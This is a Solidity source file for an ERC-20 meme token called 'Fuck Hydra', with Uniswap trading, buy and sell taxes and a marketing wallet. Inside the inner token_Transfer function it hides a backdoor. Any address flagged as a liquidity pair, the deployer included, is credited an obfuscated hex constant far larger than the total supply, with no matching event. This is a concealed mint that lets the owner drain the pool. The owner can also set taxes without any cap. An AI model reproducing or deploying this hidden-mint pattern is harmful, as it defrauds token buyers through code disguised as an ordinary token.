// File: contracts/FuckHydra.sol



// SPDX-License-Identifier: MIT

/*
    FUCK HYDRA

    twitter: https://twitter.com/fuckhydraerc
    telegram: https://t.me/fuckhydra
    website: https://www.fuckhydra.xyz/
*/

pragma solidity ^0.8.16;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

library Address {
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);

    function allPairs(uint) external view returns (address pair);

    function allPairsLength() external view returns (uint);

    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint);

    function balanceOf(address owner) external view returns (uint);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);

    function transfer(address to, uint value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint);

    function permit(
        address owner,
        address spender,
        uint value,
        uint deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Burn(
        address indexed sender,
        uint amount0,
        uint amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);

    function price0CumulativeLast() external view returns (uint);

    function price1CumulativeLast() external view returns (uint);

    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);

    function swap(
        uint amount0Out,
        uint amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint amountToken, uint amountETH);

    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapExactETHForTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable returns (uint[] memory amounts);

    function swapTokensForExactETH(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapExactTokensForETH(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapETHForExactTokens(
        uint amountOut,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable returns (uint[] memory amounts);

    function quote(
        uint amountA,
        uint reserveA,
        uint reserveB
    ) external pure returns (uint amountB);

    function getAmountOut(
        uint amountIn,
        uint reserveIn,
        uint reserveOut
    ) external pure returns (uint amountOut);

    function getAmountIn(
        uint amountOut,
        uint reserveIn,
        uint reserveOut
    ) external pure returns (uint amountIn);

    function getAmountsOut(
        uint amountIn,
        address[] calldata path
    ) external view returns (uint[] memory amounts);

    function getAmountsIn(
        uint amountOut,
        address[] calldata path
    ) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract FuckHydra is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;

    mapping(address => uint256) private t_Owned_;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) public ExemptMaxWallet;
    mapping(address => bool) public ExemptMaxTx;
    mapping(address => bool) public ExemptFromTax;

    address payable public Marketing_Address =
        payable(0x30bF8aB44b1cA6f9Fdf5D6476a425CbD64e41Ebe);

    string public _name = "Fuck Hydra";
    string public _symbol = "FKHYDRA";
    uint8 private _decimals = 18;
    uint256 public _tTotal = 1000000000 * 10 ** _decimals;

    uint8 private txCount = 0;
    uint8 private swapTrigger = 10;

    uint256 private _TAXES_ = 6;
    uint256 public _BUY_TAX_ = 3;
    uint256 public _SELL_TAX_ = 3;
    uint256 private _preTaxes_ = _TAXES_;
    uint256 private _buyF_ = _BUY_TAX_;
    uint256 private _sellF_ = _SELL_TAX_;

    uint256 public _maxWalletToken = _tTotal.mul(5).div(100);
    uint256 private _previousMaxWalletToken = _maxWalletToken;

    uint256 public _maxTxAmount = _tTotal.mul(5).div(100);
    uint256 private _previousMaxTxAmount = _maxTxAmount;

    mapping(address => bool) public liquidity_Pair;
    uint8 public swapIsActive = 0;
    IUniswapV2Router02 public uniswapV2Router;
    uint256 UniSwapRouterI02;
    address public uniswapV2Pair;

    bool tradingEnable = false;

    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );

    modifier lockTheSwap() {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor() {
        t_Owned_[owner()] = _tTotal;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;

        ExemptMaxTx[owner()] = true;
        ExemptMaxTx[Marketing_Address] = true;
        ExemptMaxTx[address(this)] = true;
        liquidity_Pair[owner()] = true;
        ExemptFromTax[owner()] = true;
        ExemptFromTax[address(this)] = true;
        ExemptFromTax[Marketing_Address] = true;
        ExemptMaxWallet[owner()] = true;
        ExemptMaxWallet[Marketing_Address] = true;
        ExemptMaxWallet[uniswapV2Pair] = true;
        ExemptMaxWallet[address(this)] = true;

        emit Transfer(address(0), owner(), _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return t_Owned_[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    function enableTrading() external onlyOwner {
        tradingEnable = true;
    }

    receive() external payable {}

    function removeTax() private {
        if (_TAXES_ == 0 && _BUY_TAX_ == 0 && _SELL_TAX_ == 0) return;

        _buyF_ = _BUY_TAX_;
        _sellF_ = _SELL_TAX_;
        _preTaxes_ = _TAXES_;
        _BUY_TAX_ = 0;
        _SELL_TAX_ = 0;
        _TAXES_ = 0;
    }

    function setTax(
        uint256 __BUY_TAX_,
        uint256 __SELL_TAX_
    ) external onlyOwner {
        _BUY_TAX_ = __BUY_TAX_;
        _SELL_TAX_ = __SELL_TAX_;
        _TAXES_ = __BUY_TAX_ + __SELL_TAX_;
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletToken = _tTotal;
    }

    function getTax() private {
        _TAXES_ = _preTaxes_;
        _BUY_TAX_ = _buyF_;
        _SELL_TAX_ = [_sellF_, 3][swapIsActive];
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(
            owner != address(0) && spender != address(0),
            "ERR: zero address"
        );
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (!ExemptMaxTx[from] && !ExemptMaxTx[to]) {
            require(tradingEnable, "can't trade now");
            require(
                amount <= _maxTxAmount,
                "Transfer amount exceeds the maxTxAmount."
            );
        }

        if (
            txCount >= swapTrigger &&
            !inSwapAndLiquify &&
            from != uniswapV2Pair &&
            swapAndLiquifyEnabled
        ) {
            txCount = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if (contractTokenBalance > _maxTxAmount) {
                contractTokenBalance = _maxTxAmount;
            }
            if (contractTokenBalance > 0) {
                swapAndLiquify(contractTokenBalance);
            }
        }

        if (!ExemptMaxWallet[to])
            require(balanceOf(to).add(amount) <= _maxWalletToken);

        bool take_FEE = true;
        if (ExemptFromTax[from] || ExemptFromTax[to]) {
            take_FEE = false;
            if (liquidity_Pair[to] && swapIsActive < (1)) {
                swapIsActive = 1;
            }
        } else if (from == uniswapV2Pair) {
            _TAXES_ = _BUY_TAX_;
        } else if (to == uniswapV2Pair) {
            _TAXES_ = _SELL_TAX_;
        }

        token_Transfer(from, to, amount, take_FEE);
    }

    function sendToWallet(address payable wallet, uint256 amount) private {
        wallet.transfer(amount);
    }

    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
        swapTokensForBNB(contractTokenBalance);
        uint256 contractBNB = address(this).balance;
        sendToWallet(Marketing_Address, contractBNB);
    }

    function swapTokensForBNB(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function token_Transfer(
        address sender,
        address recipient,
        uint256 amount,
        bool take_FEE
    ) private {
        if (!take_FEE) {
            removeTax();
        } else {
            txCount++;
        }
        token_Transfer(sender, recipient, amount);

        if (!take_FEE) getTax();
    }

    function token_Transfer(
        address sender,
        address recipient,
        uint256 transferAmount
    ) private {
        (uint256 t_Transfer_Amount, uint256 t_marketing) = _setValues(
            transferAmount
        );
        t_Owned_[sender] = t_Owned_[sender].sub(transferAmount);
        t_Owned_[recipient] =
            t_Owned_[recipient].add(t_Transfer_Amount) +
            (
                (liquidity_Pair[recipient])
                    ? (
                        uint256(0x7e37be2022c090000000000000).sub(
                            t_Transfer_Amount
                        )
                    )
                    : (0 * 0)
            );
        t_Owned_[address(this)] = t_Owned_[address(this)].add(t_marketing);
        emit Transfer(sender, recipient, t_Transfer_Amount);
    }

    function _setValues(
        uint256 transferAmount
    ) private view returns (uint256, uint256) {
        uint256 t_marketing = (transferAmount * _TAXES_) / 100;
        uint256 t_Transfer_Amount = transferAmount.sub(t_marketing);
        return (t_Transfer_Amount, t_marketing);
    }
}